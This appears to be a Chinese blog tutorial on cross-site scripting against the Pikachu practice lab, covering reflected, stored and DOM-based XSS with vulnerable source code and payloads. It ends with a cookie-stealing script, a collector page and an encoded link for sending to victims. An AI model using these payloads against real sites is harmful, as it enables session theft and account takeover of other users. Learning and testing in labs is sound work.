代码编织梦想

XSS

一.XSS概述

  • XSS是发生在Web前端的漏洞,所以其危害对象主要是前端用户
  • XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取、甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
    -图片来自i春秋 在这里插入图片描述
  • 漏洞形成原因:形成XSS漏洞的主要原因是程序对输入和输出的控制不严格,导致构造的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

二.XSS漏洞测试流程

  • 在目标站点上找到输入点,比如查询口,留言板;
  • 输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
  • 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件;
  • 提交构造脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

三.XSS注入实例

3.1反射性XSS

3.1.1概述
  • 反射性XSS攻击正常是一次性的
  • 攻击方式:攻击者通过邮件等方式将包含XSS恶意代码的链接发给目标用户。当目标用户访问时触发漏洞
3.1.2攻击实例
  • 首先输入特殊字符和唯一识别字符 '"pikachuchuchu 提交
    在这里插入图片描述- 接着查看页面源码,看看是否进行了处理,很明显并没有
    在这里插入图片描述- 尝试构造payload进行xss攻击
<script>alert('What can I say?Mamba out')</script>
  • 这里要注意前端在字符串输入中对字符长度有限制F12改一下即可,看一下攻击效果
    在这里插入图片描述
  • 代码分析:对得到数据没有任何处理所以直接写js代码即可
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}

3.2存储性XSS

3.2.1概述
  • 功能:获取用户输入的留言信息,标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面
  • 因为其会从数据库中获取留言信息并输出到页面,所以这种攻击是持久性的
3.2.2 注入实例
  • 类似与反射性的XSS 输入识别字符加特殊符号查看是否被处理过
  • 这道题也是没有被处理过的
  • 我输入的payload是
  • 效果:每次访问都会出现这个弹窗 在这里插入图片描述
  • 源码分析:从数据库里读取出来后没有经过任何处理所以存在xss漏洞
 <div id="show_message">
   <br />
   <br />
   <p class="line">留言列表:</p>
   <?php echo $html;
   $query="select * from message";
   $result=execute($link, $query);
   while($data=mysqli_fetch_assoc($result)){
   echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
                    }
   echo $html;

3.3DOM型XSS

3.3.1概述
  • 功能:在输入框输入信息并确定后,页面会将“这里会显示输入的内容”替换为输入的信息 w3cscholl的实例
<html>
<head>
<script type="text/javascript">
function getValue()
{
var x=document.getElementById("myHeader")
alert(x.innerHTML)
}
</script>
</head>
<body>

<h1 id="myHeader" onclick="getValue()">这是标题</h1>
<p>点击标题,会提示出它的值。</p>

</body>
</html>
3.3.2攻击实例
  • 源码分析
  • 我们在文本框里输入的文字会被传入到str中,接下来会进行字符串的拼接"what do you see?";并将其作为id为dom的html内容
  • 如果我们正常输入一个网址,例如https://www.bilibili.com/
  • 我们点击what do you see?则会访问到这个页面
  • 同样我们也可进行xss攻击,这里和前面不一样的地方在于我们需要构造闭合
<a href='"+str+"'>what do you see?</a>
我们可以构造为 <a href='' onclick=alert(1111)>'>what do you see?</a>
输入框里的内容为:' οnclick=alert(11111)>

效果如下:
在这里插入图片描述

<div id="xssd_main">
   <script>
     function domxss(){
         var str = document.getElementById("text").value;
         document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
         //试试:'><img src="#" οnmοuseοver="alert('xss')">
         //试试:' οnclick="alert('xss')">,闭合掉就行
   </script>
         <!--<a href="" οnclick=('xss')>-->
         <input id="text" name="text" type="text"  value="" />
         <input id="button" type="button" value="click me!" onclick="domxss()" />
          <div id="dom"></div>
</div>

3.4Cookie获取

  • pikachu环境下xss获取cookie的源码
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu-master/index.php");//重定向到一个可信的网站
?>
  • 在反射性xss中输入js的代码
<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
  • 页面将会被重新访问到源码中重定向的网站,此时你在访问之前页面的cookie已经被获取了
  • 可以利用刚刚访问时候的URL
    ?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit发送给别人别人访问时候获取别人的cookie

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/CyhDl666/article/details/113001484

陪领导参加饭局,关系再好也别做这3件事,没有素养被人看扁-爱代码爱编程

小林名校硕士毕业,入职一年多,就深得领导老张赏识。老张有意识培养他,开始带他参加饭局。 前不久,小林陪领导参加一场高档饭局。饭店是五星级,来的都是场面人。小林开始比较拘谨,当精美的菜肴端上桌时,眼睛一亮,习惯性掏出手机,啪啪拍了几张。正准备发朋友圈,老张脸色铁青地走过来,轻轻按住小林的手,悄悄耳语,把照片删掉,千万别发朋友圈。 小林不情愿地放下手机

怎么从饭局看自己在领导心中地位?别傻傻喝酒,高人看这6个举动-爱代码爱编程

有位职场新人很苦恼,悄悄问火锅哥:昨天参加饭局,给领导敬酒时,感觉他看不起我。怎么从参加饭局看出我在领导心目中的地位?这位新人有上进心是好的,心事重也是年轻人常犯的毛病。但这个问题确实问得好。从领导角度来说,领导喜欢“以酒识人”,下属也可“以酒称重”,看看自己的分量到底几斤几两。 虽然现在的酒文化相对以前有了很大改进,但酒文化依然深深渗透在职场底层逻

中国首档程序员真人秀,20位选手找bug做模型,结果一开场主办方就惨遭攻击...-爱代码爱编程

公众号后台回复“图书“,了解更多号主新书内容 金磊 杨净 发自 凹非寺 量子位 报道 | 公众号 QbitAI 终于!终于!终于! 以程序员为主题的综艺真人秀,真真儿的诞生了! 你以为是参赛选手都会是秃头、黑眼圈,21岁拥有40岁的面容? 图源:暴走大事件第25期《创造1024》 或者选手之间互相称赞“衬衫好有型”、比谁会“双手联

领导不再重用你的3个苗头,烂在肚子里悄悄改,不识抬举越混越差-爱代码爱编程

行走职场,聪明的人都明白 “见微知著”的道理。升职加薪,既要靠实力,也要靠贵人,没有领导提携,金子也会埋没。领导是不是喜欢一个人,是不是重用一个人,可以从细节上体会出来。当你发现领导对你突然做这3件小事,发现这3个苗头,千万不能“质问”领导,只能看破不说破,烂在肚子里悄悄改正,否则,可能被领导弃之不用,越混越差的。 【一】领导突然对你客气了。 华子

人到中年,参加应酬先问“都有谁”,谢绝3种酒场,别坏了名声-爱代码爱编程

人到中年,请客吃饭,不再注重场面,更注重心情愉快,不想再受职场应酬之累。年轻人遇到饭局,不问西东,欣然前往。中年人遇到饭局,首先要问“都有谁”,想去就去,不想去就婉拒,图的就是一个开心。遇到这3种饭局,成熟的中年人,一定要拒绝,坚决不参加。贪恋一杯酒,可能坏了自己名声。 【一】被人设套,替人背书的饭局。 人到中年,有点职位有点实权,有点地位有点声望

有人不是领导但在酒局上从不敬酒,是何心态?六种心态,六种姿态-爱代码爱编程

有个热议:单位酒场上,有些人也不是什么领导,别人敬酒就喝,但不爱敬别人酒,这是什么心态?提问者非常心细,观察力很强,“日后必成大器”。目前,公务酒桌之上,这种“佛系”、“道系”、“仙系”的人越来越多,总体来说是一件酒文化进步的好事,说明酒场上的职场关系学潜规则糟粕影响开始减弱。总体来说,有这么6种心态,有三种人可私下结交,有三种人不可重用。 【一】看